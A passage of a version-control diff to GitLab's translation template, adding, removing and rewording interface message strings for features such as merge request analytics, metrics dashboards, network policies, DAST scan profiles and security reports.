-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15697,12 +16152,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16181,12 +16732,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,7 +17759,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,10 +19754,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19254,6 +19826,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -20940,6 +21527,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21769,6 +22389,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
